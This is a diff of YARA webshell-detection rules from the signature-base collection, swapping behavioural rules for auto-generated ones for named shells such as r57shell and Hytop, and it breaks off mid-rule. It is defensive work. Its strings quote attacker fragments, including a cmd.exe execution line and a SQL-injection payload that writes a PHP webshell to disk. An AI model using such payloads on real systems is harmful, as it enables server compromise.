+		logic_hash = "43f3379a57210f0e3b70575313115a7ba3d71359de7c5ac9a6a178b93af3545e"
+		score = 75
+		quality = 85
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
-rule SIGNATURE_BASE_WEBSHELL_PHP_In_Htaccess : FILE
+	strings:
+		$s0 = "<%= \"\\\\\" & oScriptNet.ComputerName & \"\\\" & oScriptNet.UserName %>"
+		$s1 = "Call oScript.Run (\"cmd.exe /c \" & szCMD & \" > \" & szTempFile, 0, True)"
+
+	condition:
+		all of them
+}
+rule SIGNATURE_BASE_Felikspack3___PHP_Shells_Phpft
 {
 	meta:
-		description = "Use Apache .htaccess to execute php code inside .htaccess"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "0f5edff9-22b2-50c9-ae81-72698ea8e7db"
-		date = "2021-01-07"
-		modified = "2023-07-05"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_webshells.yar#L2748-L2770"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "c026d4512a32d93899d486c6f11d1e13b058a713"
-		hash = "d79e9b13a32a9e9f3fa36aa1a4baf444bfd2599a"
-		hash = "e1d1091fee6026829e037b2c70c228344955c263"
-		hash = "c026d4512a32d93899d486c6f11d1e13b058a713"
-		hash = "8c9e65cd3ef093cd9c5b418dc5116845aa6602bc92b9b5991b27344d8b3f7ef2"
-		logic_hash = "0652a4cb0cb6c61afece5c2e4cbf2f281714509f0d828047f2e3ccd411602115"
+		description = "Webshells Auto-generated - file phpft.php"
+		author = "Florian Roth (Nextron Systems)"
+		id = "00bc690b-4977-5076-a40a-edd39c37233f"
+		date = "2023-12-05"
+		modified = "2023-12-05"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L7689-L7701"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "60ef80175fcc6a879ca57c54226646b1"
+		logic_hash = "741536acafdc4da618d69bdae2f0a3e8c004a4027cc76c796158ee111c006414"
 		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		importance = 70
 
 	strings:
-		$hta = "AddType application/x-httpd-php .htaccess" wide ascii
+		$s6 = "PHP Files Thief"
+		$s11 = "http://www.4ngel.net"
 
 	condition:
-		filesize <100KB and $hta
+		all of them
 }
-import "math"
+rule SIGNATURE_BASE_FSO_S_Indexer
+{
+	meta:
+		description = "Webshells Auto-generated - file indexer.asp"
+		author = "Florian Roth (Nextron Systems)"
+		id = "fba053d7-5413-563f-8c27-0554349500b2"
+		date = "2023-12-05"
+		modified = "2023-12-05"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L7702-L7713"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "135fc50f85228691b401848caef3be9e"
+		logic_hash = "a1bfba9c24819f5c1574aa179d853a6cc2fcf58c7b9a14eeab2639248178549c"
+		score = 75
+		quality = 85
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
-rule SIGNATURE_BASE_WEBSHELL_PHP_Function_Via_Get : FILE
+	strings:
+		$s3 = "<td>Nereye :<td><input type=\"text\" name=\"nereye\" size=25></td><td><input type=\"r"
+
+	condition:
+		all of them
+}
+rule SIGNATURE_BASE_R57Shell
 {
 	meta:
-		description = "Webshell which sends eval/assert via GET"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "5fef1063-2f9f-516e-86f6-cfd98bb05e6e"
-		date = "2021-01-09"
-		modified = "2023-04-05"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_webshells.yar#L2772-L2816"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "ce739d65c31b3c7ea94357a38f7bd0dc264da052d4fd93a1eabb257f6e3a97a6"
-		hash = "d870e971511ea3e082662f8e6ec22e8a8443ca79"
-		hash = "73fa97372b3bb829835270a5e20259163ecc3fdbf73ef2a99cb80709ea4572be"
-		logic_hash = "309203db8e7374531d359e3a723418d47bead45034c4a7bd726fb714622dc039"
+		description = "Webshells Auto-generated - file r57shell.php"
+		author = "Florian Roth (Nextron Systems)"
+		id = "1f1070e8-e82c-5cae-a64a-cd5028adae97"
+		date = "2023-12-05"
+		modified = "2023-12-05"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L7714-L7725"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "8023394542cddf8aee5dec6072ed02b5"
+		logic_hash = "40ff6bceb3f9bd95fbf5e75681fadadaa64243007e10fcc86bb909282b8161c5"
 		score = 75
-		quality = 83
-		tags = "FILE"
+		quality = 85
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		importance = 70
 
 	strings:
-		$sr0 = /\$_GET\s?\[.{1,30}\]\(\$_GET\s?\[/ wide ascii
-		$sr1 = /\$_POST\s?\[.{1,30}\]\(\$_GET\s?\[/ wide ascii
-		$sr2 = /\$_POST\s?\[.{1,30}\]\(\$_POST\s?\[/ wide ascii
-		$sr3 = /\$_GET\s?\[.{1,30}\]\(\$_POST\s?\[/ wide ascii
-		$sr4 = /\$_REQUEST\s?\[.{1,30}\]\(\$_REQUEST\s?\[/ wide ascii
-		$sr5 = /\$_SERVER\s?\[HTTP_.{1,30}\]\(\$_SERVER\s?\[HTTP_/ wide ascii
-		$gfp1 = "eval(\"return [$serialised_parameter"
-		$gfp2 = "$this->assert(strpos($styles, $"
-		$gfp3 = "$module = new $_GET['module']($_GET['scope']);"
-		$gfp4 = "$plugin->$_POST['action']($_POST['id']);"
-		$gfp5 = "$_POST[partition_by]($_POST["
-		$gfp6 = "$object = new $_REQUEST['type']($_REQUEST['id']);"
-		$gfp7 = "The above example code can be easily exploited by passing in a string such as"
-		$gfp8 = "Smarty_Internal_Debug::start_render($_template);"
-		$gfp9 = "?p4yl04d=UNION%20SELECT%20'<?%20system($_GET['command']);%20?>',2,3%20INTO%20OUTFILE%20'/var/www/w3bsh3ll.php"
-		$gfp10 = "[][}{;|]\\|\\\\[+=]\\|<?=>?"
-		$gfp11 = "(eval (getenv \"EPROLOG\")))"
-		$gfp12 = "ZmlsZV9nZXRfY29udGVudHMoJ2h0dHA6Ly9saWNlbnNlLm9wZW5jYXJ0LWFwaS5jb20vbGljZW5zZS5waHA/b3JkZXJ"
+		$s11 = " $_POST['cmd']=\"echo \\\"Now script try connect to"
 
 	condition:
-		filesize <500KB and not ( any of ($gfp*)) and any of ($sr*)
+		all of them
 }
-import "math"
+rule SIGNATURE_BASE_Bdcli100
+{
+	meta:
+		description = "Webshells Auto-generated - file bdcli100.exe"
+		author = "Florian Roth (Nextron Systems)"
+		id = "c74e8822-9556-5596-a130-c6e0120d7103"
+		date = "2023-12-05"
+		modified = "2023-12-05"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L7726-L7738"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "b12163ac53789fb4f62e4f17a8c2e028"
+		logic_hash = "48c70413c71d5a84f8cea48c77935b7cc26d9e1348d7ab257de4540d69f0f817"
+		score = 75
+		quality = 85
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
-rule SIGNATURE_BASE_WEBSHELL_PHP_Writer : FILE
+	strings:
+		$s5 = "unable to connect to "
+		$s8 = "backdoor is corrupted on "
+
+	condition:
+		all of them
+}
+rule SIGNATURE_BASE_Hytop_Devpack_2005Red
 {
 	meta:
-		description = "PHP webshell which only writes an uploaded file to disk"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "05bb3e0c-69b2-5176-a3eb-e6ba2d72a205"
-		date = "2021-04-17"
-		modified = "2023-07-05"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_webshells.yar#L2818-L2908"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "ec83d69512aa0cc85584973f5f0850932fb1949fb5fb2b7e6e5bbfb121193637"
-		hash = "407c15f94a33232c64ddf45f194917fabcd2e83cf93f38ee82f9720e2635fa64"
-		hash = "988b125b6727b94ce9a27ea42edc0ce282c5dfeb"
-		hash = "0ce760131787803bbef216d0ee9b5eb062633537"
-		hash = "20281d16838f707c86b1ff1428a293ed6aec0e97"
-		logic_hash = "34bae0c02156d1c9fd24d674443322409eba0a43e094fc6c05df94bbbe15aa64"
-		score = 50
-		quality = 42
-		tags = "FILE"
+		description = "Webshells Auto-generated - file 2005Red.asp"
+		author = "Florian Roth (Nextron Systems)"
+		id = "963effd9-f31d-5238-9419-b5dd11822e56"
+		date = "2023-12-05"
+		modified = "2023-12-05"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L7739-L7752"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "d8ccda2214b3f6eabd4502a050eb8fe8"
+		logic_hash = "716b6faa8d1216f592d63b658cdd65d7be0226bf746b5fdf1827bdf881562711"
+		score = 75
+		quality = 85
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		importance = 70
 
 	strings:
-		$sus3 = "'upload'" wide ascii
-		$sus4 = "\"upload\"" wide ascii
-		$sus5 = "\"Upload\"" wide ascii
-		$sus6 = "gif89" wide ascii
-		$sus16 = "Army" fullword wide ascii
-		$sus17 = "error_reporting( 0 )" wide ascii
-		$sus18 = "' . '" wide ascii
-		$php_short = "<?" wide ascii
-		$no_xml1 = "<?xml version" nocase wide ascii
-		$no_xml2 = "<?xml-stylesheet" nocase wide ascii
-		$no_asp1 = "<%@LANGUAGE" nocase wide ascii
-		$no_asp2 = /<script language="(vb|jscript|c#)/ nocase wide ascii
-		$no_pdf = "<?xpacket"
-		$php_new1 = /<\?=[^?]/ wide ascii
-		$php_new2 = "<?php" nocase wide ascii
-		$php_new3 = "<script language=\"php" nocase wide ascii
-		$inp1 = "php://input" wide ascii
-		$inp2 = /_GET\s?\[/ wide ascii
-		$inp3 = /\(\s?\$_GET\s?\)/ wide ascii
-		$inp4 = /_POST\s?\[/ wide ascii
-		$inp5 = /\(\s?\$_POST\s?\)/ wide ascii
-		$inp6 = /_REQUEST\s?\[/ wide ascii
-		$inp7 = /\(\s?\$_REQUEST\s?\)/ wide ascii
-		$inp15 = "_SERVER['HTTP_" wide ascii
-		$inp16 = "_SERVER[\"HTTP_" wide ascii
-		$inp17 = /getenv[\t ]{0,20}\([\t ]{0,20}['"]HTTP_/ wide ascii
-		$inp18 = "array_values($_SERVER)" wide ascii
-		$inp19 = /file_get_contents\("https?:\/\// wide ascii
-		$php_multi_write1 = "fopen(" wide ascii
-		$php_multi_write2 = "fwrite(" wide ascii
-		$php_write1 = "move_uploaded_file" fullword wide ascii
-		$php_write2 = "copy" fullword wide ascii
+		$s0 = "scrollbar-darkshadow-color:#FF9DBB;"
+		$s3 = "echo \"&nbsp;<a href=\"\"/\"&encodeForUrl(theHref,false)&\"\"\" target=_blank>\"&replace"
+		$s9 = "theHref=mid(replace(lcase(list.path),lcase(server.mapPath(\"/\")),\"\"),2)"
 
 	condition:
-		((($php_short in (0..100) or $php_short in ( filesize -1000.. filesize )) and not any of ($no_*)) or any of ($php_new*)) and ( any of ($inp*)) and ( any of ($php_write*) or all of ($php_multi_write*)) and ( filesize <400 or ( filesize <4000 and 1 of ($sus*)))
+		all of them
 }
-import "math"
+rule SIGNATURE_BASE_Hytop2006_Rar_Folder_2006X2
+{
+	meta:
+		description = "Webshells Auto-generated - file 2006X2.exe"
+		author = "Florian Roth (Nextron Systems)"
+		id = "bda89055-27f5-50b7-86a3-2c75a5f3eadc"
+		date = "2023-12-05"
+		modified = "2023-12-05"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L7753-L7765"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "cc5bf9fc56d404ebbc492855393d7620"
+		logic_hash = "0df587ccaf41d11c6be90ef631ce8b21f95f08fa8f71e62463c378455b312f4a"
+		score = 75
+		quality = 85
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
-rule SIGNATURE_BASE_WEBSHELL_ASP_Writer : FILE
+	strings:
+		$s2 = "Powered By "
+		$s3 = " \" onClick=\"this.form.sharp.name=this.form.password.value;this.form.action=this."
+
+	condition:
+		all of them
+}
+rule SIGNATURE_BASE_Rdrbs084
 {
 	meta:
-		description = "ASP webshell which only writes an uploaded file to disk"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "a1310e22-f485-5f06-8f1a-4cf9ae8413a1"
-		date = "2021-03-07"
-		modified = "2023-07-05"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_webshells.yar#L2910-L3080"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "df6eaba8d643c49c6f38016531c88332e80af33c"
-		hash = "83642a926291a499916e8c915dacadd0d5a8b91f"
-		hash = "5417fad68a6f7320d227f558bf64657fe3aa9153"
-		hash = "97d9f6c411f54b56056a145654cd00abca2ff871"
-		hash = "fc44fd7475ee6c0758ace2b17dd41ed7ea75cc73"
-		logic_hash = "7c9f4c9a5005efad02760cf9ba3ea946068ae281cda10215bf8c88f209b582a5"
-		score = 60
-		quality = -75
-		tags = "FILE"
+		description = "Webshells Auto-generated - file rdrbs084.exe"
+		author = "Florian Roth (Nextron Systems)"
+		id = "97548273-6894-5c9f-8cca-d966ce770ada"
+		date = "2023-12-05"
+		modified = "2023-12-05"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L7766-L7778"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "ed30327b255816bdd7590bf891aa0020"
+		logic_hash = "8a743d62723c4a5f863f986edd4b149728680b40d6a4b9a99b093d62ccb70cf8"
+		score = 75
+		quality = 85
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		importance = 70
 
 	strings:
-		$sus1 = "password" fullword wide ascii
-		$sus2 = "pwd" fullword wide ascii
-		$sus3 = "<asp:TextBox" fullword nocase wide ascii
-		$sus4 = "\"upload\"" wide ascii
-		$sus5 = "\"Upload\"" wide ascii
-		$sus6 = "gif89" wide ascii
-		$sus7 = "\"&\"" wide ascii
-		$sus8 = "authkey" fullword wide ascii
-		$sus9 = "AUTHKEY" fullword wide ascii
-		$sus10 = "test.asp" fullword wide ascii
-		$sus11 = "cmd.asp" fullword wide ascii
-		$sus12 = ".Write(Request." wide ascii
-		$sus13 = "<textarea " wide ascii
-		$sus14 = "\"unsafe" fullword wide ascii
-		$sus15 = "'unsafe" fullword wide ascii
-		$sus16 = "Army" fullword wide ascii
-		$tagasp_short1 = /<%[^"]/ wide ascii
-		$tagasp_short2 = "%>" wide ascii
-		$tagasp_classid1 = "72C24DD5-D70A-438B-8A42-98424B88AFB8" nocase wide ascii
-		$tagasp_classid2 = "F935DC22-1CF0-11D0-ADB9-00C04FD58A0B" nocase wide ascii
-		$tagasp_classid3 = "093FF999-1EA0-4079-9525-9614C3504B74" nocase wide ascii
-		$tagasp_classid4 = "F935DC26-1CF0-11D0-ADB9-00C04FD58A0B" nocase wide ascii
-		$tagasp_classid5 = "0D43FE01-F093-11CF-8940-00A0C9054228" nocase wide ascii
-		$tagasp_long10 = "<%@ " wide ascii
-		$tagasp_long11 = /<% \w/ nocase wide ascii
-		$tagasp_long12 = "<%ex" nocase wide ascii
-		$tagasp_long13 = "<%ev" nocase wide ascii
-		$tagasp_long20 = /<(%|script|msxsl:script).{0,60}language="?(vb|jscript|c#)/ nocase wide ascii
-		$tagasp_long32 = /<script\s{1,30}runat=/ wide ascii
-		$tagasp_long33 = /<SCRIPT\s{1,30}RUNAT=/ wide ascii
-		$php1 = "<?php"
-		$php2 = "<?="
-		$jsp1 = "=\"java." wide ascii
-		$jsp2 = "=\"javax." wide ascii
-		$jsp3 = "java.lang." wide ascii
-		$jsp4 = "public" fullword wide ascii
-		$jsp5 = "throws" fullword wide ascii
-		$jsp6 = "getValue" fullword wide ascii
-		$jsp7 = "getBytes" fullword wide ascii
-		$perl1 = "PerlScript" fullword
-		$asp_input1 = "request" fullword nocase wide ascii
-		$asp_input2 = "Page_Load" fullword nocase wide ascii
-		$asp_input3 = "UmVxdWVzdC5Gb3JtK" fullword wide ascii
-		$asp_xml_http = "Microsoft.XMLHTTP" fullword nocase wide ascii
-		$asp_xml_method1 = "GET" fullword wide ascii
-		$asp_xml_method2 = "POST" fullword wide ascii
-		$asp_xml_method3 = "HEAD" fullword wide ascii
-		$asp_form1 = "<form " wide ascii
-		$asp_form2 = "<Form " wide ascii
-		$asp_form3 = "<FORM " wide ascii
-		$asp_asp = "<asp:" wide ascii
-		$asp_text1 = ".text" wide ascii
-		$asp_text2 = ".Text" wide ascii
-		$asp_always_write1 = /\.write/ nocase wide ascii
-		$asp_always_write2 = /\.swrite/ nocase wide ascii
-		$asp_write_way_one2 = "SaveToFile" fullword nocase wide ascii
-		$asp_write_way_one3 = "CREAtEtExtFiLE" fullword nocase wide ascii
-		$asp_cr_write1 = "CreateObject(" nocase wide ascii
-		$asp_cr_write2 = "CreateObject (" nocase wide ascii
-		$asp_streamwriter1 = "streamwriter" fullword nocase wide ascii
-		$asp_streamwriter2 = "filestream" fullword nocase wide ascii
+		$s0 = "Create mapped port. You have to specify domain when using HTTP type."
+		$s8 = "<LOCAL PORT> <MAPPING SERVER> <MAPPING SERVER PORT> <TARGET SERVER> <TARGET"
+
+	condition:
+		all of them
+}
+rule SIGNATURE_BASE_Hytop_Caseswitch_2005
+{
+	meta:
+		description = "Webshells Auto-generated - file 2005.exe"
+		author = "Florian Roth (Nextron Systems)"
+		id = "0f2b8e71-1c11-5efe-bee7-146168aec369"
+		date = "2023-12-05"
+		modified = "2023-12-05"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L7779-L7797"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "8bf667ee9e21366bc0bd3491cb614f41"
+		logic_hash = "0ecf28b5abb918cd1d8f38b76019dddf19dff5dbb114f16ef6ec9b46cb590a46"
+		score = 75
+		quality = 85
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+
+	strings:
+		$s1 = "MSComDlg.CommonDialog"
+		$s2 = "CommonDialog1"
+		$s3 = "__vbaExceptHandler"
+		$s4 = "EVENT_SINK_Release"
+		$s5 = "EVENT_SINK_AddRef"
+		$s6 = "By Marcos"
+		$s7 = "EVENT_SINK_QueryInterface"
+		$s8 = "MethCallEngine"
 
 	condition:
-		(( any of ($tagasp_long*) or any of ($tagasp_classid*) or ($tagasp_short1 and $tagasp_short2 in ( filesize -100.. filesize )) or ($tagasp_short2 and ($tagasp_short1 in (0..1000) or $tagasp_short1 in ( filesize -1000.. filesize )))) and not (( any of ($perl*) or $php1 at 0 or $php2 at 0) or ((#jsp1+#jsp2+#jsp3)>0 and (#jsp4+#jsp5+#jsp6+#jsp7)>0))) and ( any of ($asp_input*) or ($asp_xml_http and any of ($asp_xml_method*)) or ( any of ($asp_form*) and any of ($asp_text*) and $asp_asp)) and ( any of ($asp_always_write*) and ( any of ($asp_write_way_one*) and any of ($asp_cr_write*)) or ( any of ($asp_streamwriter*))) and ( filesize <400 or ( filesize <6000 and 1 of ($sus*)))
+		all of them
 }
-import "math"
-
-rule SIGNATURE_BASE_WEBSHELL_ASP_OBFUSC : FILE
+rule SIGNATURE_BASE_Ebayid_Index3
 {
 	meta:
-		description = "ASP webshell obfuscated"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "3960b692-9f6f-52c5-b881-6f9e1b3ac555"
-		date = "2021-01-12"
-		modified = "2023-07-05"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_webshells.yar#L3082-L3357"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "ad597eee256de51ffb36518cd5f0f4aa0f254f27517d28fb7543ae313b15e112"
-		hash = "e0d21fdc16e0010b88d0197ebf619faa4aeca65243f545c18e10859469c1805a"
-		hash = "54a5620d4ea42e41beac08d8b1240b642dd6fd7c"
-		hash = "fc44fd7475ee6c0758ace2b17dd41ed7ea75cc73"
-		hash = "be2fedc38fc0c3d1f925310d5156ccf3d80f1432"
-		hash = "3175ee00fc66921ebec2e7ece8aa3296d4275cb5"
-		hash = "d6b96d844ac395358ee38d4524105d331af42ede"
-		hash = "cafc4ede15270ab3f53f007c66e82627a39f4d0f"
-		logic_hash = "96369062f963c3604c05808755fdfca922e5a6da960cb0ee05dee2df72d5d69b"
+		description = "Webshells Auto-generated - file index3.php"
+		author = "Florian Roth (Nextron Systems)"
+		id = "4fc30150-7b44-53c4-888c-faf651495407"
+		date = "2023-12-05"
+		modified = "2023-12-05"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L7798-L7809"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "0412b1e37f41ea0d002e4ed11608905f"
+		logic_hash = "47660cb71d6787683e51aa14fc0f4a9d6f1c59517b77bfe4135098a0020ded11"
 		score = 75
-		quality = -417
-		tags = "FILE"
+		quality = 85
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		importance = 70
 
 	strings:
-		$asp_obf1 = "/*-/*-*/" wide ascii
-		$asp_obf2 = "u\"+\"n\"+\"s" wide ascii
-		$asp_obf3 = "\"e\"+\"v" wide ascii
-		$asp_obf4 = "a\"+\"l\"" wide ascii
-		$asp_obf5 = "\"+\"(\"+\"" wide ascii
-		$asp_obf6 = "q\"+\"u\"" wide ascii
-		$asp_obf7 = "\"u\"+\"e" wide ascii
-		$asp_obf8 = "/*//*/" wide ascii
-		$tagasp_short1 = /<%[^"]/ wide ascii
-		$tagasp_short2 = "%>" wide ascii
-		$tagasp_classid1 = "72C24DD5-D70A-438B-8A42-98424B88AFB8" nocase wide ascii
-		$tagasp_classid2 = "F935DC22-1CF0-11D0-ADB9-00C04FD58A0B" nocase wide ascii
-		$tagasp_classid3 = "093FF999-1EA0-4079-9525-9614C3504B74" nocase wide ascii
-		$tagasp_classid4 = "F935DC26-1CF0-11D0-ADB9-00C04FD58A0B" nocase wide ascii
-		$tagasp_classid5 = "0D43FE01-F093-11CF-8940-00A0C9054228" nocase wide ascii
-		$tagasp_long10 = "<%@ " wide ascii
-		$tagasp_long11 = /<% \w/ nocase wide ascii
-		$tagasp_long12 = "<%ex" nocase wide ascii
-		$tagasp_long13 = "<%ev" nocase wide ascii
-		$tagasp_long20 = /<(%|script|msxsl:script).{0,60}language="?(vb|jscript|c#)/ nocase wide ascii
-		$tagasp_long32 = /<script\s{1,30}runat=/ wide ascii
-		$tagasp_long33 = /<SCRIPT\s{1,30}RUNAT=/ wide ascii
-		$php1 = "<?php"
-		$php2 = "<?="
-		$jsp1 = "=\"java." wide ascii
-		$jsp2 = "=\"javax." wide ascii
-		$jsp3 = "java.lang." wide ascii
-		$jsp4 = "public" fullword wide ascii
-		$jsp5 = "throws" fullword wide ascii
-		$jsp6 = "getValue" fullword wide ascii
-		$jsp7 = "getBytes" fullword wide ascii
-		$perl1 = "PerlScript" fullword
-		$asp_payload0 = "eval_r" fullword nocase wide ascii
-		$asp_payload1 = /\beval\s/ nocase wide ascii
-		$asp_payload2 = /\beval\(/ nocase wide ascii
-		$asp_payload3 = /\beval\"\"/ nocase wide ascii
-		$asp_payload4 = /:\s{0,10}eval\b/ nocase wide ascii
-		$asp_payload8 = /\bexecute\s?\(/ nocase wide ascii
-		$asp_payload9 = /\bexecute\s[\w"]/ nocase wide ascii
-		$asp_payload11 = "WSCRIPT.SHELL" fullword nocase wide ascii
-		$asp_payload13 = "ExecuteGlobal" fullword nocase wide ascii
-		$asp_payload14 = "ExecuteStatement" fullword nocase wide ascii
-		$asp_payload15 = "ExecuteStatement" fullword nocase wide ascii
-		$asp_multi_payload_one1 = "CreateObject" nocase fullword wide ascii
-		$asp_multi_payload_one2 = "addcode" fullword wide ascii
-		$asp_multi_payload_one3 = /\.run\b/ wide ascii
-		$asp_multi_payload_two1 = "CreateInstanceFromVirtualPath" fullword wide ascii
-		$asp_multi_payload_two2 = "ProcessRequest" fullword wide ascii
-		$asp_multi_payload_two3 = "BuildManager" fullword wide ascii
-		$asp_multi_payload_three1 = "System.Diagnostics" wide ascii
-		$asp_multi_payload_three2 = "Process" fullword wide ascii
-		$asp_multi_payload_three3 = ".Start" wide ascii
-		$asp_multi_payload_four1 = "CreateObject" fullword nocase wide ascii
-		$asp_multi_payload_four2 = "TransformNode" fullword nocase wide ascii
-		$asp_multi_payload_four3 = "loadxml" fullword nocase wide ascii
-		$asp_multi_payload_five1 = "ProcessStartInfo" fullword nocase wide ascii
-		$asp_multi_payload_five2 = ".Start" nocase wide ascii
-		$asp_multi_payload_five3 = ".Filename" nocase wide ascii
-		$asp_multi_payload_five4 = ".Arguments" nocase wide ascii
-		$asp_always_write1 = /\.write/ nocase wide ascii
-		$asp_always_write2 = /\.swrite/ nocase wide ascii
-		$asp_write_way_one2 = "SaveToFile" fullword nocase wide ascii
-		$asp_write_way_one3 = "CREAtEtExtFiLE" fullword nocase wide ascii
-		$asp_cr_write1 = "CreateObject(" nocase wide ascii
-		$asp_cr_write2 = "CreateObject (" nocase wide ascii
-		$asp_streamwriter1 = "streamwriter" fullword nocase wide ascii
-		$asp_streamwriter2 = "filestream" fullword nocase wide ascii
-		$o4 = "\\x8" wide ascii
-		$o5 = "\\x9" wide ascii
-		$o6 = "\\61" wide ascii
-		$o7 = "\\44" wide ascii
-		$o8 = "\\112" wide ascii
-		$o9 = "\\120" wide ascii
-		$m_multi_one1 = "Replace(" wide ascii
-		$m_multi_one2 = "Len(" wide ascii
-		$m_multi_one3 = "Mid(" wide ascii
-		$m_multi_one4 = "mid(" wide ascii
-		$m_multi_one5 = ".ToString(" wide ascii
-		$m_fp1 = "Author: Andre Teixeira - andret@microsoft.com"
-		$m_fp2 = "DataBinder.Eval(Container.DataItem" ascii wide
-		$oo1 = /\w\"&\"\w/ wide ascii
-		$oo2 = "*/\").Replace(\"/*" wide ascii
+		$s8 = "$err = \"<i>Your Name</i> Not Entered!</font></h2>Sorry, \\\"You"
 
 	condition:
